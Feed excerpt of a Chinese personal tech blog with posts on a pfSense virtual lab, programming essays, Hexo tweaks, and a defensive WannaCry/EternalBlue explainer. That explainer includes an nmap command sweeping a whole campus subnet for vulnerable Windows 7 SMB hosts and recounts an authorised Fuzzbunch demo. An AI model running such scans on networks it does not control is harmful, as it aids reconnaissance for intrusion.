  • TOR-Switch -> Top Of Rack Switch,机柜顶层交换机,一般用于一个机柜间的网络通讯且起到管理整个机柜的效果。

Why not VirtualBox NAT

由于需要的是一个 LAN 环境,所以我们需要做 NAT,虽然 VirtualBox 自带了一个 NAT 功能,但是那个 NAT 真的只是一个 NAT,连 GW 都不在我们手上,不予考虑,结构图如下: vbox-NAT VirtualBox-NAT

Build with pfSense

在路由和防火墙领域可能国内听过说 pfSense 的人比较少,听说过 DD-WRT 或 OpenWRT 的人较多,pfSense 是一个非常优秀的基于 FreeBSD 的开源操作系统,主要被用于防火墙和网关,具体特性可以见 pfSense 官网.

首先需要在官网上下载 pfSense.CQJTU 校内用户可以在我建立的镜像站(10.1.74.132)上(操作系统 / BSD / pfSense)高速下载。

我的笔记本有两个网卡,一个有线网卡用于连入校园网,另一个无线网卡开放热点,自带一个有 DHCP 的 10.42.0.1/24 网段。

计划如下,将虚拟机柜的 TOR-Switch(也就是我们要部署的 pfSense)的 WAN 地址挂在 10.42.0.1/24 下,使用 IP:10.42.0.110,对内提供一个 192.168.1.1/24 的网段作为机柜内部 IP 地址。

V-Rack

创建一个新的虚拟机,由于是 GW,肯定需要两个 NIC 连接 WAN 和 LAN(当然,这里的 WAN 是广义的),Internal Network 那一栏直接写个新名字即可以创建一个内部的网络(也就是机柜内部网络段).

VBOX-pfSense-net0 VBOX-pfSense-net1

安装 pfSense,可以直接使用 Easy Install,我已经安装过一遍了,忘了截图,不过也就是各种下一步就可以解决的,如果一切顺利的话,Reboot,然后你就可以看到如下界面。 pfSense-Console

当然,这里的 IP 是我已经配置好了的,要配置 IP 地址,选择 2,关闭 WAN 的 DHCP,设置子网掩码和上游(10.42.0.1/24)同步即可。 pfSense-Config

如果你的 WAN 和 LAN 与 NIC 不符合的话,你需要 Assign Interfaces 一下,不过一般没这个问题,如果你遇到了这个问题而且实在不会解决的话,可以在下方留言。

关于 pfSense 的基本安装就结束了,现在把你想放入机柜中的机器的网络接口全部设置为刚刚的那个 Internal Network 即可,所有人都上车!

WebGUI

从机柜内部的某台机器访问 192.168.1.1,默认用户名 admin,密码 pfsense,登录进去后根据需要修改相关配置(比如管理页面是否需要 SSL 啊,WAN 口的上游 GW 是什么啊诸如此类),几张截图如下:

pfSense-WebGUI pfSense-WebGUI

这个时候可以尝试让机柜内的机器访问一下互联网了,如果访问不了,考虑是不是以下地方出了问题 pfSense-Config

2017-06-02 补充:在我这个网络结构下,机柜内部的机器需要 DNS 来解析域名。这里建议关闭 DNS Resolver 并直接 Forward 上游(10.42.0.1)的 DNS,可以省很多事。 DNS Forward

至此,虚拟机柜已经可以开始使用了。

]]>
编程与优雅解决问题的方法https://nova.moe/programming-and-problem-solving/Sun, 28 May 2017 22:33:37 +0000https://nova.moe/programming-and-problem-solving/我一直认为,学习编程是学习计算机的基础,但是学习计算机并不是为了用 C++ 写个 CLI 的随机数发生器向那些学外国语专业的人秀一下自己比他们厉害,可以用计算机作出多么赞的事情,也不是为了向别人证明自己会多少种排序算法,多少个类的设计,甚至是懂多少门语言,而应该是优雅的解决问题的方法,即我们利用计算机来帮助我们的优雅地解决实际生活中问题的方法。

如何解决问题

首先我们得学会 找到问题的真正所在,否则何谈解决方法?

之后,我们拿掉 “计算机 / 编程” 这两个主语,该如何优雅地解决问题?

我小时候听过一个 可能并不真实的 故事,是关于工厂中如何辨别箱子中是否装满了货物的问题。有人建议安装一个秤,逐个称重量比较,另一个方案是使用吹风机,能吹走的就没装满,吹不走的就是满的。两个方案来都是可行的,问题都可以得到解决,只不过前者需要购买一个秤,而且设计不易达到工业的流水线作业的要求,具体实现起来比较复杂,而后者显然要优雅的多,找个吹风机放在运送带旁边就是了。

编程也是一样,既然是解决问题,我们理应使用一个自顶向下的方法,先找到一个问题的解决范式,然后在实践的基础基础上学习对应的理论知识来解决问题,这一点上国内的优先学习理论(上来就学数组,指针等)的方式是绝对错误的。再加上我校学习的是 C++,这样的学习会极大地限制使用者的思维,导致很多学生学了编程后除了老师要求的所谓 “课程设计” 以外都不知道自己的编程技巧可以用来做什么。

如何利用编程解决问题

就以最近我和 Allen 正在开发的 AreaLoad 为例吧,设计的动机很简单,就是因为发现目前已经有的上传平台太弱了,缺陷很多,而且上传作业作为一个长期的工作,很多课程都会用到,于是就萌生了一个自己写上传平台的想法,由于动态网页的最方便较为主流的实现是 PHP 而不是某院领导瞎扯的 ASP,躲在学校说话不怕挨打 ,所以就决定使用 PHP 写一个文件上传平台。

由于之前我对于 PHP 一无所知,所以在实际设计上传平台之前我先大致规划了一下设计的思路:

嗯,我们需要一个上传平台 -> 吼,用 PHP 和 SQL 编写 -> 文件上传部分的 PHP 代码是什么?-> 一个老师得有多个课程吧,多写几个课程 -> 学生上传完后得记录吧,用 SQL 数据库(PHP 怎么连接 SQL 数据库?)->…-> 原型设计完成,Awesome!

接下来就是具体的代码实现,各种 Google 找对应的 PHP 函数,SQL 使用方法, 哪里不会点哪里 ,由于这个项目的实现是我个人的兴趣,而且用新的语言做出一个可以被使用的产品非常有成就感,在短短的 10 天中,和 Allen 合作的情况下完成了 AreaLoad 的第一个可以被使用的版本,和老师协商后就被投如到了 “Web 技术基础” 课程的作业收取中,受到这个的鼓励,在总计开发 28 天的时候(也就是昨天),AreaLoad 已经成为了一个比较自治和稳定的作业上传框架了,我和 Allen 打算之后将其扩展成为一个通用的上传平台,结合 LDBS 消息聚合系统缩短文件和消息在学校中的传输路径,增强安全性同时增加信噪比。

如何学习一门编程语言

可能有人会觉得能在这么短的时间内上手 PHP,我的学习能力一定很强,看什么会什么,然后事实并非如此,说来惭愧,我为了 PHP 尝试学习过三次,前两次一次是高一的寒假,一次是高考后的暑假,每次都是大张旗鼓从图书馆借了多本 PHP 相关的 “权威书籍”,然后在看了不到 20 页后就让他们躺在书架上吃灰了,究其原因很简单,学了不知道做什么。比如数组,和 C 很像,书中有对应的案例,输出了一个表格,但是输出一个表格能干什么?我不知道,也想不到,所能做的仅仅是跟着书中的代码模仿一下写一个一样的表格,学习 PHP 的过程如同现在高等数学的学习过程,味同嚼蜡,十分不爽。

而这次在实践中学习 PHP,不仅没有去专门借任何一本书,还很快地理解了 PHP 的设计范式和这门语言的使用特点,上手极快。

且不说计算机专业的学习课程安排架构,仅仅就从某一个特定需要学习的语言来看,对于一门语言的学习方法我建议如下思路:

  • 首先 Google 一下这门语言是否有学习的前景(如果没啥前景的话,还是不要学了比较好,别被所谓 “基础” 或者 “知识都是不变的” 这样的理论骗了,他们这么说 ** 仅仅是因为他们不会又不想学而已 **,哪有什么不变的,如果 Windows 系都是不变的话,为什么我们不去学 Windows2000 的使用呢?虽然他们可能会辩解说学了某某语言可以让你很快地上手前沿的语言,但是谁又会为了更快地上手 Win10 而先去学 Win2000 呢?)

就比如 Python 吧,作为一个动态强类型的语言,其语法的先进性,缩进的表示方法以及各式各样的语法糖是远超过类 C 语言的,类似的 Go 和 Rust 更是如此,是数学和计算机科学完美结合的产物,除了底层硬件驱动和 ** 极其 ** 追求效率的开发目前还需要 C 以外,淘汰类 C 语言指日可待。

  • 然后看一下 Github 上面你要学习的语言一般是用来做了什么东西?

  • 最后你可以想想这门语言可以实现什么让你感觉或者让这个世界更加美好的东西?

  • 给自己定一个自己感兴趣的目标(比如用 Python 实现一个 OJ 系统?用 PHP 做一个自己的财务管理系统?用 Lisp 写个自己愿意用的博客系统?用 BASH 写一个脚本用来一键备份数据?),就可以开始航行了!

不过需要牢记,在你学习的过程中一定要多去阅读一些大神写的代码,获得更好,更先进的设计理念,完全自己走容易走歪,而完全跟着那些没有实际项目经验的人写出来的 “课本” 上的设计思路容易思维僵化。

扩展阅读

]]>
如何找到问题的真正所在?https://nova.moe/how-to-find-the-real-problem/Wed, 17 May 2017 21:02:28 +0000https://nova.moe/how-to-find-the-real-problem/几周前,我和我的团队关于最近打算开发的项目做了一些讨论,原计划讨论的是关于项目涉及的功能总体规划,而在讨论中项目的主线论点被一个组员一再带偏,变为了代码的专利申请和保护等,出于对开发效率的保护和对主发展方向的维持,作为整个项目的负责人,我不得不请求那名组员离开我们的团队。

除此之外,类似的情况也经常发生于我和其他人的讨论中,这让我思考,为什么对于一个问题的讨论总是被难以把握重点,导致偏离了研究问题的真正 “着力点”.

一个人的思想,行为总是与 TA 的的思维习惯,或称意识形态有关,由于目前我还是学生,面对这个问题,我打算通过我所面对的学生的共同点,即他们所受的教育和所在的社会的形态来展开探索,同时聊聊我对于问题的分析思路。

偏离重点的常见原因分析

愚以为,找不到问题本质的这个问题来源于我们常年所受的教育和现行的互联网。

教育

我知道,在中国从小学开始,我们所面对的便是以背诵,抄写为主的所谓 “素质教育”,整个学校的体制极力推崇 “政治正确” 或者正确答案,在学校中,只要你有一些 “自由” 或者 “不符合年龄段” 的想法就会遭到 “镇压”,轻则被叫到办公室班主任谈心,重则被要求叫家长…

社会最爱专制,往往用强力摧折个人的个性,压制个人自由独立的精神;等到个人的个性都消灭了,等到自由独立的精神都完了,中国社会自身也没有生气了,也不会进步了。 中国社会里有许多陈腐的习惯,老朽的思想,极不堪的迷信,个人生在社会中,不能不受这些势利的影响。 有时有一两个独立的少年,不甘心受这种陈腐规矩的束缚,于是东冲西突想与中国社会作对。但是中国社会的权力很大,网罗很密;个人的能力有限,如何是中国社会的敌手? ——《易卜生主义》

此外,强行给本应不同的学生纵向比较也产生了学生的自卑感。分数,在中小学中几乎成了唯一的通行证,学生之间除了统一考试的分数以外没有其他的可比之处,个人的兴趣,特长成了一个 “影响学习” 的所在,慢慢地,我们在学校的唯一奋斗目标便成了分数,想要好分数的就是好的 “思想方向”,是好的,除此之外就是 “不务正业”,是不好的。

长此以往,我们看待事物的态度就会扭曲,只有好的和不好的两个被预先定义好的极端,非黑即白,非好即坏,只有多年以后我们走出校园才能发现,原来世界上还有那么多种色彩,原来自己的价值并不通过分数来 ** 被 ** 决定。

除此之外,我们还习惯了被动地接受观点,老师上课和工业化的流水线极为类似,所有学生 30 度角仰望前方,奋笔疾书记下老师在黑板上写下的所有 “重点内容” 以便课后复习,而所谓的考试,也仅仅在考验你的做题能力和背诵能力,“在 ** 这个问题 ** 上请谈谈你的看法” 这类题目中绝对不是让你写你的看法,而是写上老师在书上划的” 重点 “,然后写上自己的名字,以表明" 这是我的看法 “. 长久以往的面对如同 “武昌起义的必然性” 这类问题时,我们只能想到书上写的一二三条,而想不出任何其他的 “自己的想法”,多么可怕…

** 这样对于分析问题的能力上直接的损伤就是,我们习惯性地准备去接受一个正确答案,而忽略了本身的思考能力,在一定程度上引起了思维的惰性.**

现行的互联网

如今的互联网,博客很萧条,微博很火爆。很多博主一年难得写几篇博文,却可以每天发上十来条微博.“空间”,“朋友圈”,“微博” 的兴起让我们的思维越来越碎片化,无联系化。

就以抄袭 Twitter 的微博为例吧,140 字的字数限制让非专业 “段子手” 的普通学生难以通过一条 “状态” 表达出一个完整的思想。每条短小的 “状态” 最多只能表达一个事件的一个局部或者仅仅是针对一个事情的简单的 ** 主观看法 **,而如果想要详细地了解一个事件,就需要收集和阅读大量的 “状态”,而在这样一个浮躁的社会,又有几个人会愿意这么做呢?

此外,长期关注这些内容会导致我们思维方式的改变,我们的思维开始跳跃,每看一百来字后大脑就开始习惯性地想要跳转到下一个完全不同的内容,就像《浅薄:互联网如何毒化了我们的大脑》一书中所描述的:

我们因为上网而不再做的事也会产生神经学结果。正如同步放电的神经元会连接在一起,不同步放电的神经元就不会连接在一起。由于浏览网页挤占了我们用来读书的时间,由于收发短信挤占了我们用来遣词造句的时间,由于在网络链接中不断跳转挤占了我们用来沉思冥想的时间,原本用来支持旧有智力功能和精神追求的神经回路逐渐弱化,并且开始分崩离析。大脑会回收那些闲置不用的神经细胞和神经突触,将其用于其他更迫切的工作。我们会获得新的技能和新的视角,可是旧的技能和视角也会因此而丧失。

而经常跳转在阅读上的直接后果就是现在看书的人越来越少,很多人面对一篇千字以上的没有插图的长文章甚至都无法顺利读完, 当然更别提写长文章了 .** 在讨论问题前无法决定讨论的主题,讨论时也难以把握着最初定下的计划讨论方向,思维随着大脑的无意识漂移乱换论点,导致每次讨论的效率都不高.**

如何找到问题的真正所在

前面啰嗦了半天关于找不到问题的所在可能原因,下面就举之前我和团队讨论的那个问题来分享一下我分析问题的方法。

开发的项目想法很简单,就是一个消息聚合的系统,旨在让我们在这个处处碎片化的时代帮助我们完成消息聚合,减少思维跳跃的几率并且防止错过重要的消息,利用二八定理,用最少的时间接受到最重要的那 20% 消息。由于这个系统的终端用户是学生,教师和学校领导,所以在一个 ** 已有的半成品的想法 ** 上我们需要更多考虑的这个系统 ** 对于终端用户的易用性和现实的可推广性 ** 等。

个人认为一个良好的思路应该如下发展:

Route

即我们仅应该在必要的地方分岔,如无必要则应该以 “串行” 的方式在一条思路走完且在完成记录和组员同意后再切换下一条思路,且随时需要关注分岔的方向是否与分岔的父方向相关,如果不相关则应该立即停止分岔。

而面对长期影响我们的教育产生的思维的惰性的问题,克服的方法十分有限,毕竟十几年的教育塑造了我们大多数的思维观念,这个需要平时多看一些关于如何批判性思考的书(注意,这里的批判性并不是指去批判事物,而是由于英文 Critical Thinking 字面翻译不恰当,不慎带入了中国的语境,导致了歧义。正确的理解应为:带有怀疑的去独立思考.)

推荐阅读

0.《浅薄:互联网如何毒化了我们的大脑》 1.《你的灯亮着吗?: 发现问题的真正所在》

]]>
Fuzzbunch,WannaCry 和 Windows Updatehttps://nova.moe/fuzzbunch-wannacry-and-windows-update/Mon, 15 May 2017 09:53:26 +0000https://nova.moe/fuzzbunch-wannacry-and-windows-update/还记得上一次更新你的 Windows 是什么时候吗?

反正我已经是几年前了,因为几年前我就放弃了对 Windows 的使用,全面投入使用我更加熟悉的 Linux 了。有趣的是,国内许多 Windows 用户的最后一个 Update 也是几年前,究其原因,大多都是在安装电脑后或是被人鼓动关闭 Windows Update,或是发现 Windows 更新给自己带来了很多麻烦,然后自行找资料关闭了 Update.

应该是 5 月 13 号早上,和往常一样,打开电脑第一件事就是看 Feedly 订阅的几十个新闻源,在 TheHackerNews 中第一次看到了 WannaCry,不过由于 TheHackerNews 属于安全类媒体,向来都是这样的消息,当时那一条新闻并没有引起我的太大关注,便被我忽略了。 如果仅仅是这样也就不会有本文了

然而与之前不同的是,之后几天,我收到了大量的邮件和同学的询问,而且问题大致类似,基本都是 “比特币病毒怎么破?”,” 我的电脑是否安全” 之类的问题…

“比特币病毒” 是什么?

要搞清楚如何面对这些问题,我们先要了解,所谓的 “比特币病毒” 是什么。

第一次听说” 比特币病毒” 的时候我还疑惑,想着是不是比特币的 ECDSA 出现了重大漏洞。结果看了一下网上关于 WannaCry 的报道之后才发现,这仅仅是一个利用了较新漏洞的勒索病毒而已,要求赎金通过比特币发送… 选择比特币的一个简单原因是这样可以较少地暴露幕后的收款人,况且现在互联网上的绝大多数勒索病毒都是要求比特币付款的… 中国的媒体啊,听得风,是得雨

WannaCry 的来源?

网上已经有很多安全公司和安全研究者对 WannaCry 的逆向工程及研究了,我作为一个非安全工作者就不从 WannaCry 的技术层面上去细述了,这里仅仅提一下这个病毒的来源。

2017 年 4 月中旬,一个自称 “TheShadowBrokers” 的团体放出了美国国家安全局(NSA)的一些攻击工具,其中包含大量 ** 自动化 ** 漏洞攻击工具,具体的介绍可以参考文末的链接。

由于目前世界上桌面系统中 Windows 装机量最大,其中一个被广为流传的就是 Windows 下攻击平台 Fuzzbunch,这个由 Python2.6 编写的平台可以搭载多种 Payload,其中就包含针对 MS17_010 漏洞的 Payload——EternalBlue 和 DoublePulsar. 而我们最近遇到的 WannaCry,正是基于这两者的更加自动化,更加 “商业化” 的应用。

真正令我感到意外的是,这个漏洞居然会被这样利用,按照常理来说一个漏洞的发现的初端(所谓 0day)一定是在补丁被制作前攻击高价值目标,例如核电站,银行系统, 教务网 等,但是这次的 WannaCry 并没有这么做,它发动了一场大规模的蠕虫式的扩散勒索,且 WannaCry 的真正的危险性在于 EternalBlue,而 EternalBlue 可以做到有 90% 几率直接击穿一台没有保护的 Win7.(此处的保护指的是防火墙和微软的补丁而不是 xx 管家这类鸡鸣狗盗之辈)

如何防范 WannaCry?

几周前,我向一些我信得过的同学演示过在内网下使用 Fuzzbunch 来发动攻击(当然,我们事先获得过授权),攻击的过程如教科书般统一,且被攻下的电脑中不乏安装了多套安全卫士,或者各种管家的 其中一台甚至还安装了 XX 安全卫士企业版 ,被攻下的计算机可以直接远程操控开启摄像头,获取 SAM 文件的 Hash,屏幕截图等… 而这些被攻击的计算机都有两个共同的特点:

0.Win7 Build7601

  1. 开放了 445 端口(即 SMB 服务)

了解了这个特点我们大致就可以知道如何防范这个 WannaCry 了,我们分类讨论

家庭用户

国内的家庭用户一般是使用路由器结合 FTTH 终端访问互联网,除非你对路由器做过什么特别的操作(比如把内网主机放在 DMZ 中,或者打了个 L3 GRE 隧道)且你使用的是 Win7,否则不用担心自己电脑的 445 端口暴露在外网,此时只要你的内网环境中没有携带这个病毒的人或者没有会用 Fuzzbunch 的人,至少在家里的网络环境下你是安全的。

学校及企业用户

这个环境下事情就变得很混乱了,拿我们学校来说吧,虽然做了 VLAN 分划,但是各个网段之间是完全可以互通的。不过由于我校边界路由的限制和 Drcom 积极地不允许我们联网,加上我校并没有 IPv6 资源,所有用户都共享那少得可怜又带宽小的可怜的几个出口,大多数用户没有这个能力把自己的 445 端口暴露到互联网上接受打击。

CQJTU-Network

但是如果在我校有任何一个内部攻击源或者不幸引入了一台被感染的计算机的话,完全有可能导致全校 50% 以上计算机瘫痪(可以尝试一下 nmap -A -p445 10.8.0.0/16| grep "Windows 7" | wc -l,或者不说多的,光 A01 教学楼的电脑就全是 Win7,连接不了外网,从来不更新,自行体会). 如果你不幸在这样一个网段下,我有如下建议:

  1. 关闭 Windows 电脑上的 SMB 服务,方法自行 Google,别告诉我你不会,否则你根本不会看这篇文章。
  2. 赶紧跟上 Windows 的所有 Update.
  3. 删除你电脑上的所有 xx 管家,xx 助手,那些废物除了消耗你的系统资源,扫描你的文件以外没有任何作用(虽然彻底删除他们可能对于很多人而言是个难题),要电脑不中毒还是靠科学的上网习惯。
  4. 贴上你的笔记本电脑摄像头。
  5. 如果你不玩游戏也对 Adode 产品没有什么需求的话,还是早点开始使用 Linux 吧。

本来还想建议先接上路由器再接入校内网络呢,但是网络中心的 Drcom 不允许使用二级路由联网,我也无话可说…Drcom 在这个层面上就是为 WannaCry 的传播两肋插刀:)

哦,还有一点,如果你的摄像头灯亮了,就该拔网线了,别的都是没有用的。

参考链接及扩展阅读:

0.ShadowBrokers 方程式工具包浅析,揭秘方程式组织工具包的前世今生 1.方程式 ETERNALBLUE 之 fb.py 的复现 2.自由谈 (2014 年 3 月 15 日,科英布拉) 3.Wiki-WannaCry cyber attack

]]>
调整 Hexo 主题——Typinghttps://nova.moe/mod-theme-typing/Sun, 14 May 2017 02:13:18 +0000https://nova.moe/mod-theme-typing/第一次接触 Hexo,在使用主题的时候遇到了一些小问题,这篇文章就来记录一下我是怎么 Dirty Hack 这个主题的吧:

Disqus

国内似乎无法直接使用这个评论服务,实在想不通一个没有任何政治形态的第三方评论框架为什么会撞墙… Disqus Blocked 为了防止一些读者陷入生无可怜找评论框的状态,我在 footer 中加入了一行代码,如果 Disqus 显示不出来就显示一句话。 Mod Footer 具体代码添加在 themes/typing/layout/_partial/article.ejs

...
<div id="disqus_thread">
<p> 如果无法看到评论框,多半是因为本站使用的评论插件 Disqus 在您所在的地区被墙,请开启代理后再访问这个页面.</p>
<noscript>Please enable JavaScript to view the <a href="//disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
</div>
...

Fonts

很奇怪,哪怕在 themes/typing/_config.yml 中声明使用某个语言,整个网站的语言还是会使用 es.yml,删除 es.yml 后又使用了 zh-TW.yml… 如果使用 default 的话,浏览器无法确定站点语言,页面就会变成这样,字体大大小小的,很不规范: font-before 经过调查发现页面顶部的 <html lang="zh"> 取决于你用了哪一个 yml 文件,而这个文件又会 Bug,索性把 default.yml 改成 zh.yml,然后把剩下的所有 yml 文件删除,页面就正常了 font-after

总体上这个主题还是十分优秀的,并不需要很多的 Hack,目前仅作了这两个调整,如果日后我对这个主题有更多的调整的话,我会更新这篇文章的。

]]>
First Posthttps://nova.moe/first-post/Sun, 14 May 2017 00:34:24 +0000https://nova.moe/first-post/吼啊!终于建了一个新的博客了,可能和大多数博主一样,刚刚建立一个博客可能都不太清楚自己想要写什么。虽然这个博客我的定位是偏向于技术的博客,但是由于这是第一篇文章,这篇文章我打算讲讲一些不那么 “技术” 的内容。

开博动机

先从自己打算开这个博客的动机谈起吧。

本来我是有一个日访问量过千的博客的,不过那个博客基本只记录了我的高中生涯以及刚刚进入大学的一些吐槽,并没有技术含量,还负能量满满,而且那个博客上面写的东西也已经不是我现在的研究方向了,所以一直琢磨着是不是该开个新的博客来分享点自己目前专业相关的东西,自己最近的想法,以及生活中的一些小插曲。

最后在一个 2017 年 5 月 13 日这个闷热且难以入眠的凌晨,在寝室那张小的不行的床上辗转反侧后,终于决定——打开空调,打开电脑,接上 HHKB 和 YubiKey,mkdir,创建一个基于 Hexo 的博客。

HHKB

博客技术选型

这个博客我没有使用上一个博客正在用的 Wordpress,而是选择去折腾一个我并不熟悉的 Hexo,除了 NodeJS 对于我这样的刚入大学校门的学生而言听上去很炫以外,她的不需要 PHP 和后端,所有页面本地生成的特性十分让我着迷,要知道,一个 Nginx 服务器处理静态页面的速度远远大于动态页面。由于所有文章使用 Markdown 编写,所有资源全部在本地,非常方便备份,加上正好看到了这个称为 Typing 的优雅的主题,于是一拍桌子 拍死了一只飞舞的蚊子 就选了这样的架构。

既然都是静态化的博客了,那干脆就和 GitHub 放在一起吧,既省下了自己去买域名的钱和管理服务器的精力,又能享有 GitHub 的 Fastly CDN 的加成,只需要专心负责文章就是了,虽然托管在 GitHub 上面有一些限制:

GitHub Pages source repositories have a recommended limit of 1GB .
Published GitHub Pages sites may be no larger than 1 GB.
GitHub Pages sites have a soft bandwidth limit of 100GB per month.
GitHub Pages sites have a soft limit of 10 builds per hour.

除此之外,放在 GitHub 上面还有一些缺点,比如

  • 没有自带的统计访问量的功能
  • 所有的修改记录都会被 Git 记录下来,很容易留下黑历史

但是我想作为一个博客的初期,这个限制除了流量可能不够以外其他的应该还是凑合的,如果我收到了 “a polite email from GitHub Support suggesting strategies for reducing your site’s impact on our servers”,那么说明我的博客已经有一些影响力了,到那个时候我应该会考虑将博客迁移到自己服务器上的。不过 GitHub 的 Pages 似乎不能 301,如果迁移域名的话现在这个域名权重会下降… 这可能是个问题

我的专长

每次要写这方面的内容总是让我很头疼… 作为一名大学生,除了学校统一学的一些无聊的例如 ASP,JSP 等无聊的课程以外我似乎并没有什么是可以称得上是专长的,所以嘛… 这方面就不写了吧:)

我平时用什么网络平台

GitHub 作为我的一些小作品发布的地方,之后我可能会去注册个 Twitter. 别的,暂时还真没有想法。

好了,作为博客的第一篇文章就先写这么多吧。

]]>